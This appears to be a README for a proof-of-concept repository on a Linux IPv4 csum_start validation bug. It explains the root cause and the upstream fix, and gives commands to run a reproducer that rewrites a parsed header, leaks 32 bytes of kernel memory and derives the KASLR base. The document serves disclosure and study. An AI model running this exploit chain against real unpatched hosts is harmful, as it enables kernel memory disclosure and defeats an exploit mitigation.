
Reproduction and analysis of the Linux IPv4 csum_start validation bug (CVE-2026-99999): header rewrite, 32-byte heap disclosure, leak oracle and KASLR defeat.
English · 简体中文
Reproduction of the Linux IPv4 csum_start validation bug fixed by
6785011f8b16 ("ipv4: validate checksum_start before completing checksum").
Given code execution inside a guest VM, an unprivileged process on a prepared
TAP rewrites a header the kernel has already parsed, then reads 32 bytes past
the packet's linear data.
| Precondition | code execution inside the guest VM — not remote, not pre-auth |
| Reproduced on | 6.18.54.1-microsoft-standard-WSL2 |
| Affected kernels | every release below its branch fix — KERNELS.md |
| Fixed in | 6.18.57 · 6.12.113 · 6.6.159 · 6.1.190 · 5.15.223 · 5.10.272 · 7.2.11 |
| CVSS 3.1 | 9.3 — AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Upstream fix | 6785011f8b16abf40b1e9d8b2e332232b3e68822 (Michael S. Tsirkin) |
| Reported by | Paulos Yibelo (pwn.ai) |
| Prebuilt | v1.0.0 static binaries |
$ python3 poc/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee
[leak] head=8 rest=400 linear=28B copy=60B overrun=32B adj=0x24d6 spray=32
[leak] 3 output fragment(s)
frag 0: first=0x4f ihl=60B tot_len=196
options[40]: a5a5a5a5a5a5a5a50000000000000000000000000000000000000000000000a9cb439e88ffff0000
past linear head: 32B, 7 nonzero
[leak] OK: 32 bytes copied past skb_headlen() into IPv4 options
The first byte is 0x4f instead of 0x45 — version 4, header length 15 words
instead of 5. The eight a5 bytes are the marker this reproducer wrote into the
fragment; everything after them is not part of the packet. a9 cb 43 9e 88 ff ff
reads as 0xffff889e43cba9, a kernel direct-map address.
skb_checksum_help() turns checksum metadata into a write:
write address = skb->head + csum_start + csum_offset
Nothing before the fix checked that csum_start sits after the IPv4 header.
The admission check compares the transport offset against a minimum header
length measured from the current skb->data — a frame-relative coordinate:
/* include/linux/virtio_net.h, __virtio_net_hdr_to_skb() */
if (!skb_partial_csum_set(skb, start, off))
return -EINVAL;
if (skb_transport_offset(skb) < nh_min_len) /* 20 bytes */
return -EINVAL;
For a frame of [ eth 14 ][ vlan 4 ][ vlan 4 ][ ipv4 ... ], csum_start = 22
gives skb_transport_offset() == 22 >= 20, so the metadata is accepted, while
the real distance from the network header is 0. The two VLAN tags are
stripped in the receive path, so the frame-relative coordinate survives into L3
and the deferred write lands on version/ihl.
Ordering is the other half. ip_do_fragment() completed the pending checksum
before reading iph->ihl:
/* net/ipv4/ip_output.c, pre-fix */
if (skb->ip_summed == CHECKSUM_PARTIAL && (err = skb_checksum_help(skb)))
goto fail;
iph = ip_hdr(skb);
...
hlen = iph->ihl * 4; /* now 60, not 20 */
The header was validated as 20 bytes; the consumer reads 15 words from the same
memory. skb_checksum_help() is not at fault — the metadata was allowed to
describe a different packet than the one that exists.
The fix adds a network-relative bound and calls it before every completion site:
static inline int ip_check_csum_start(const struct sk_buff *skb)
{
if (unlikely(skb->csum_start < skb->network_header + ip_hdrlen(skb)))
return -EINVAL;
return 0;
}
With C = csum_start, N = network_header, H = ip_hdrlen and O >= 0,
requiring C >= N + H means the write C + O can no longer reach the header.
Privileged container on a vulnerable kernel (the kernel is what matters):
docker run -d --name pwnesc --privileged debian:12-slim sleep infinity
docker exec pwnesc apt-get update -qq
docker exec pwnesc apt-get install -y -qq iproute2 nftables python3
docker cp lab/setup.sh pwnesc:/root/setup.sh
docker cp poc/pwnescape.py pwnesc:/root/pwnescape.py
docker exec pwnesc sh /root/setup.sh
# header rewrite only
docker exec pwnesc python3 /root/pwnescape.py --only-verify
# 32-byte disclosure past the linear head
docker exec pwnesc python3 /root/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee
On a bare-metal test host or VM: sudo sh lab/setup.sh, then run the same
commands as root in that network namespace. Requires /dev/net/tun,
nf_conntrack, nf_defrag_ipv4, ip and nft.
lab/setup.sh builds a TAP for injection and a veth pair for egress:
inject forward + defrag egress
userland ──────────► pwntap 10.0.0.1/24 ─────────────────► pwnv0 10.99.0.1/24
(virtio_net_hdr, | conntrack defrag MTU 200
csum_start=22) | nft prerouting -450 │
└── two fragments reassembled ────────────────┤
into a 28-byte linear head ▼
pwnv1
(capture)
The nft ct rule registers nf_defrag_ipv4, so the two fragments are
reassembled before the forwarding path fragments them again. Anything looping
back in on pwnv1 is dropped. lab/teardown.sh removes it all.
The offset-0 fragment carries 8 bytes, so after reassembly the logical linear
head is 20 + 8 = 28 bytes while the fragmenter copies ihl * 4 = 60:
[ 20 header ][ 8 payload ] | 32 bytes that are not part of the packet
└─ copied into the fragments' IPv4 options
overrun = 60 - (20 + head), so --head 40 is the control case (no bytes cross
the boundary) and --head 8 gives the 32-byte disclosure.
On the slab path the tail is zeroed by CONFIG_INIT_ON_ALLOC_DEFAULT_ON and the
leak reads as 00. --page moves the skb head onto a recycled page_frag,
where the tail still holds what the page held before.
python3 exp/probe.py --passive # version verdict, no packets
python3 exp/probe.py --active # A/B behavioural verdict, leaks nothing
python3 exp/leak.py --rounds 24 # repeatable 32-byte disclosure + physmap KASLR base
probe.py compares a control datagram with well-formed checksum metadata against
one whose csum_start sits on the IPv4 header: header rewritten → vulnerable,
test dropped by the guard → patched, nothing captured → lab problem. leak.py
repeats the over-read, extracts canonical kernel pointers and derives the
physmap KASLR base.